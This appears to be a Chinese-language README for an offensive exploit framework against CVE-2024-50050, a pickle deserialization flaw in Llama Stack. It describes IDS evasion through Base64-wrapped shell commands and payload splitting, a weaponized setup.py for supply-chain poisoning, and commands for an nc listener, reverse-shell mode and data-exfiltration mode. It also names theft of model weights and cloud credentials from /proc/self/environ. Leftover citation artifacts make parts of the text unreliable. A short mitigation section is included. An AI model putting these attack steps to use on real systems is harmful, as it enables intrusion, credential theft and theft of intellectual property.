= doi.org/10.5281/zenodo.18278567

= orcid.org/0009-0007-7728-256X

💀 LlamaStack-RCE: CVE-2024-50050 供应链利用框架

非限制机密材料 - 仅限授权红队使用

1. 执行摘要（确定性分析）

LlamaStack-RCE 是一个针对 Meta Llama Stack 中 CVE-2024-50050 关键远程代码执行（RCE）漏洞的高保真模拟与利用框架。该漏洞源于 Python 推理 API 中的不安全反序列化，具体是在 ZeroMQ (0MQ) 传输层上使用 pickle 模块。

此仓库提供了完整的攻击链，从上游供应链投毒到下游执行及模型权重窃取。

2. 技术规避与武器化

2.1. 攻击剖析（PVM 利用）

漏洞核心利用 Pickle 虚拟机 (PVM)。通过使用 GLOBAL 操作码，我们能强制 PVM 在 unpickling 过程中导入任意可用 Python 模块并执行任意函数。

攻击向量： ZeroMQ Socket -> 原始字节流 -> pickle.loads() -> RCE。

2.2. 多态载荷构建

为绕过传统的基于签名的 IDS（Snort/Suricata），框架实现了多态编码：

• Base64 嵌套执行： 将 shell 命令封装在 Base64 中，以隐藏像 /bin/bash 或 os.system 这样的字面字符串。
• 操作码混淆： 重新排列 PVM 指令，在不改变执行逻辑的前提下改变二进制签名。
• 数据包走私： 将 pickle 载荷分割成多个 ZeroMQ 帧，以规避基于流量量的异常检测。

3. 供应链渗透策略

该框架模拟了整体性的供应链武器化：

4. 实验室架构与部署

4.1. 前提条件

• 硬件： 4x NVIDIA A100/H100（用于本地权重测试）。
• 操作系统： 加固的 Arch Linux 或 Kali Linux。
• 环境： Docker 和 Docker-Compose（隔离网络）。

4.2. 文件结构

.
[cite_start]├── lab_validator.py          # 7 阶段自动化验证套件 [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # 主利用框架 [cite: 138, 206]
[cite_start]├── server.py                 # 易受攻击的 Llama Stack 模拟 [cite: 112, 150]
[cite_start]├── setup.py                  # 武器化的供应链安装程序 [cite: 110, 206]
[cite_start]├── post_exploit.py           # 数据收割与横向移动 [cite: 210, 264]
[cite_start]└── evasion_library.py        # 12+ 高级规避方法 [cite: 264]

4.3. 执行工作流

1. 验证环境：

[cite_start]python lab_validator.py # 目标：100% 通过率 [cite: 208, 209]

2. 启动监听器（C2）：

nc -lvnp 4444

3. 执行漏洞利用（反向 Shell 模式）：

[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]

4. 发起数据窃取：

[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]

5. 影响评估（严重性：10/10）

成功利用可获得对 AI 基础设施的绝对控制：

• 知识产权窃取： 窃取 .safetensors 模型权重（价值 1000 万至 1 亿美元以上）。
• GPU 劫持： 未经授权的 CUDA 资源分配，用于加密货币挖矿或影子训练。
• 推理操纵： 投毒模型响应，导致下游应用（医疗/法律 AI）出现系统性故障。
• 凭据收割： 从 /proc/self/environ 中提取 AWS/GCP 密钥和 K8s 配置。

6. 确定性加固（紫队建议）

为缓解 CVE-2024-50050，必须应用以下绝对规则：

1. 根除 Pickle： 将所有 pickle.loads() 替换为 safetensors.torch.load_file() 或使用严格模式的 msgpack。
2. ZMQ 加固： 使用公/私钥对实现 ZMQ_CURVE，并且绝不绑定到 0.0.0.0。
3. 基础设施隔离： 在 gVisor 或 Kata Containers 中运行 AI 进程，以防止 RCE 容器逃逸。
4. 网络微隔离： 通过严格定义的入站/出站规则，将推理服务器与公共互联网隔离。

7. 法律免责声明

法律声明： 未经事先书面授权，使用此框架攻击目标是非法的。本框架仅供教育和授权的渗透测试使用。作者（Sastra_Adi_Wiguna）对滥用行为不承担任何责任。

分类文档：PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 确定性状态：生产就绪 (98/100)